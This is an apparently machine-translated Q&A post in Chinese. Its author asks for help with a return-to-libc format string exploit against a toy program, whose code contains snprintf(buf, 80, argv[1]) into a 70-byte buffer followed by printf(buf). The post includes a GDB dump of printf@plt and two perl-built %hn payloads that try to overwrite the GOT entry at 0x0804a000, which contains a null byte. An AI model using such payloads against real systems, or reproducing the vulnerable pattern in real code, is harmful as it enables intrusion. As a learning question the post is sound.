我試圖執行返回到libc格式字符串攻擊,但我想寫入(0x0804a000)的地址有一個空字節!我必須將我的格式字符串讀入snprintf,因此空字節會導致它出現故障並隨機產生Segfaults。Return to Libc在地址空字節
buf[70];
snprintf(buf, 80, argv[1]);
printf(buf);
這裏是GDB轉儲的printf @ PLT:
(gdb) disassem 0x080483c0
Dump of assembler code for function [email protected]:
0x080483c0 <+0>: jmp *0x804a000
0x080483c6 <+6>: push $0x0
0x080483cb <+11>: jmp 0x80483b0
End of assembler dump.
有沒有人有什麼想法?
我現在的方法是運行像這樣
./program `perl -e 'print "sh;#\x00\xa0\x04\x08%12345x%10$hn"'`
,但有一個空字節。我也曾嘗試
./program `perl -e 'print "sh;#\xff\x9f\x04\x08\x00\xa0\x04\x08%12345x%10$hn%12345x%11$hn"'`
但0x0804a000
之前地址具有全局偏移表,因此snprintf的段錯誤之前甚至返回到函數調用它。